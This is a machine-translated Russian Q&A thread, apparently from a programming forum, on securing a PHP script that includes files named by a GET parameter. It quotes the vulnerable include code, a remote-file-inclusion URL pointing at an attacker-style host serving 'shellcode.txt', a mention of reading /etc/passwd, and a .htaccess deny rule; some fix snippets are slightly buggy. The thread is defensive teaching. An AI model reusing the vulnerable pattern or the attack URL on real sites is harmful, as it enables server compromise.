Мой сайт недавно был атакован, как мне казалось, невиновным кодом:
<?php if ( isset( $ _GET['page'] ) ) { include( $ _GET['page'] . ".php" ); } else { include("home.php"); } ?>
Там, где нет SQL-запросов, я не боялся SQL Injection. Но, судя по всему, SQL – это не единственный вид инъекции.
На этом веб-сайте есть объяснение и несколько примеров предотвращения ввода кода: http://www.theserverpages.com/articles/webmasters/php/security/Code_Injection_Vulnerabilities_Explained.html
Как бы защитить этот код от ввода кода?
Используйте белый список и убедитесь, что страница находится в белом списке:
$whitelist = array('home', 'page'); if (in_array($_GET['page'], $whitelist)) { include($_GET['page'].'.php'); } else { include('home.php'); }
в$whitelist = array('home', 'page'); if (in_array($_GET['page'], $whitelist)) { include($_GET['page'].'.php'); } else { include('home.php'); }
Другой способ дезинфекции входных данных – убедиться, что в нем присутствуют только допустимые символы (нет «/», «.», «:», …). Однако не используйте черный список для плохих символов, но белый список разрешенных символов:
$page = preg_replace('[^a-zA-Z0-9]', '', $page);
… затем файл_exists.
Таким образом, вы можете убедиться, что выполняются только сценарии, которые вы хотите выполнить (например, это исключает «blabla.inc.php», потому что «.» Не разрешено).
Примечание. Это своего рода «взломать», потому что тогда пользователь может выполнить «домашний», и это даст «домашнюю» страницу, потому что все, что она делает, – это удаление всех запрещенных символов. Он не предназначен для того, чтобы остановить «smartasses», которые хотят смириться с вашей страницей, но это остановит людей, делающих действительно плохие вещи.
BTW: Еще одна вещь, которую вы могли бы сделать в вашем файле .htaccess – это предотвратить очевидные попытки атаки:
RewriteEngine on RewriteCond %{QUERY_STRING} http[:%] [NC] RewriteRule .* /–http– [F,NC] RewriteRule http: /–http– [F,NC]
Таким образом, все обращения к страницам с URL-адресом «http:» (и строкой запроса) приводят к сообщению об ошибке «Запрещено», даже не доходя до php-скрипта. Это приводит к меньшей нагрузке на сервер.
Однако имейте в виду, что в строке запроса не допускается «http». Ваш сайт может МОЖЕТЕ потребовать его в некоторых случаях (возможно, при заполнении формы).
BTW: Если вы можете читать немецкий язык: у меня также есть сообщение в блоге по этой теме.
Правило №1 при принятии ввода пользователя всегда дезинфицирует его. Здесь вы не дезинфицируете свою переменную GET страницы, прежде чем передавать ее в include. Вы должны выполнить базовую проверку, чтобы убедиться, что файл существует на вашем сервере, прежде чем включать его.
Пек, есть много вещей, которые могут беспокоиться о добавлении к SQL-инъекции или даже к различным типам инъекций кода. Теперь может быть подходящее время, чтобы немного взглянуть на безопасность веб-приложений в целом.
Из предыдущего вопроса о переходе с рабочего стола на веб-разработку я написал:
Руководство OWASP по созданию безопасных веб-приложений и веб-сервисов должно быть обязательным чтением для любого веб-разработчика, который хочет серьезно относиться к безопасности (это должны быть все веб-разработчики). Есть много принципов, которые следует соблюдать, чтобы помочь с мышлением, необходимым при мысли о безопасности.
Если вы читаете большой толстый документ не для вас, то посмотрите на видео семинара, который Майк Эндрюс дал в Google пару лет назад о том, как разбить веб-программное обеспечение .
Я предполагаю, что вы имеете дело с файлами в том же каталоге:
<?php if (isset($_GET['page']) && !empty($_GET['page'])) { $page = urldecode($_GET['page']); $page = basename($page); $file = dirname(__FILE__) . "/{$page}.php"; if (!file_exists($file)) { $file = dirname(__FILE__) . '/home.php'; } } else { $file = dirname(__FILE__) . '/home.php'; } include $file; ?>
Это не слишком красиво, но должно исправить вашу проблему.
pek, для краткосрочного исправить примените одно из решений, предложенное другими пользователями. Для среднесрочного и долгосрочного плана вы должны рассмотреть возможность перехода на одну из существующих веб-фреймворков. Они обрабатывают все низкоуровневые вещи, такие как включение маршрутизации и файлов, надежным, безопасным способом, поэтому вы можете сосредоточиться на основных функциях.
Не изобретайте велосипед. Используйте фреймворк. Любой из них лучше, чем никто. Первоначальное время инвестиций в обучение он платит почти мгновенно.
Некоторые хорошие ответы до сих пор, также стоит отметить пару особенностей PHP:
Функции открытия файла используют обертки для поддержки разных протоколов. Это включает в себя возможность открывать файлы через локальную сеть Windows, HTTP и FTP, среди прочих. Таким образом, в конфигурации по умолчанию код в исходном вопросе может быть легко использован для открытия любого произвольного файла в Интернете и за его пределами; включая, конечно, все файлы на локальных дисках сервера (которые пользователь webbserver может прочитать). /etc/passwd
всегда весело.
Безопасный режим и open_basedir
могут использоваться для ограничения доступа к файлам за пределами определенного каталога.
Также полезна настройка конфигурации allow_url_fopen
, которая может отключать доступ к файлам по URL при использовании открытых функций файла. ini-set
может использоваться для установки и отмены этого значения во время выполнения.
Это все хорошие защитные ограждения, но, пожалуйста, используйте белый список для включения файлов.
Я знаю, что это очень старая должность, и я ожидаю, что вам больше не понадобится ответ, но я все еще пропущу очень важный аспект imho, и мне нравится делиться другими людьми, читающими этот пост. В вашем коде для включения файла на основе значения переменной вы создаете прямую связь между значением поля и запрошенным результатом (страница становится page.php). Я думаю, что лучше избегать этого. Существует различие между запросом на какую-либо страницу и доставкой этой страницы. Если вы сделаете это различие, вы можете использовать хорошие URL-адреса, которые очень удобны для пользователей и SEO. Вместо значения поля, такого как «страница», вы можете сделать такой URL, как «Spinoza-Ethica». Это ключ в белом списке или первичный ключ в таблице из базы данных и возвращает твердокодированное имя файла или значение. У этого метода есть несколько преимуществ помимо обычного белого списка:
ответ на задний конец фактически не зависит от запроса на передний конец. Если вы хотите настроить свою заднюю систему по-разному, вам не нужно ничего менять на передней панели.
Всегда удостоверяйтесь, что вы закончите с жестко закодированными именами файлов или эквивалентом из базы данных (предпочитаете возвращаемое значение из хранимой процедуры), потому что он просит проблему, когда вы используете информацию из запроса для создания ответа.
Поскольку ваши URL-адреса не зависят от доставки с задней стороны, вам никогда не придется переписывать свои URL-адреса в файле htAccess для такого рода изменений.
Представленные пользователю URL-адреса удобны для пользователя, информируя пользователя о содержании документа.
Хорошие URL-адреса очень хороши для SEO, потому что поисковые системы находятся в поиске соответствующего контента, и когда ваш URL-адрес соответствует контенту, он получит более высокую скорость. По крайней мере, лучше, чем когда ваш контент определенно не соответствует вашему контенту.
Если вы не связываетесь напрямую с файлом php, вы можете перевести красивый URL-адрес в любой другой тип запроса перед его обработкой. Это дает программисту гораздо большую гибкость.
Вам придется санировать запрос, потому что вы получаете информацию из стандартного ненадежного источника (остальной части Интернета). Использование только хороших URL-адресов в качестве возможного ввода делает процесс очистки URL-адреса намного проще, потому что вы можете проверить, соответствует ли возвращенный URL вашему собственному формату. Убедитесь, что формат nice URL не содержит символов, которые широко используются в эксплоитах (например, «,», <,>, -, & и т. Д.).
@pek – Это не сработает, так как ваши ключи массива – 0 и 1, а не «home» и «page».
Я считаю, что этот код должен сделать трюк:
<?php $whitelist = array( 'home', 'page', ); if(in_array($_GET['page'], $whitelist)) { include($_GET['page'] . '.php'); } else { include('home.php'); } ?>
в<?php $whitelist = array( 'home', 'page', ); if(in_array($_GET['page'], $whitelist)) { include($_GET['page'] . '.php'); } else { include('home.php'); } ?>
Поскольку у вас есть белый список, не должно быть необходимости в file_exists()
.
Подумайте, что URL-адрес в этом формате:
http://www.yourwebsite.com/index.php?page= http://malicodes.com/shellcode.txt
Если shellcode.txt запускает SQL или PHP-инъекцию, ваш сайт будет подвержен риску, так? Подумайте об этом, используя белый список.
Существует способ фильтрации всех переменных, чтобы избежать взлома. Вы можете использовать PHP IDS или OSE Security Suite, чтобы избежать взлома. После установки пакета безопасности вам необходимо активировать пакет, вот руководство:
http://www.opensource-excellence.com/shop/ose-security-suite/item/414.html
Я бы предложил вам включить защиту уровня 2, тогда все переменные POST и GET будут отфильтрованы, особенно тот, который я упомянул, и если будут обнаружены атаки, он немедленно сообщит вам /
Безопасность всегда является приоритетом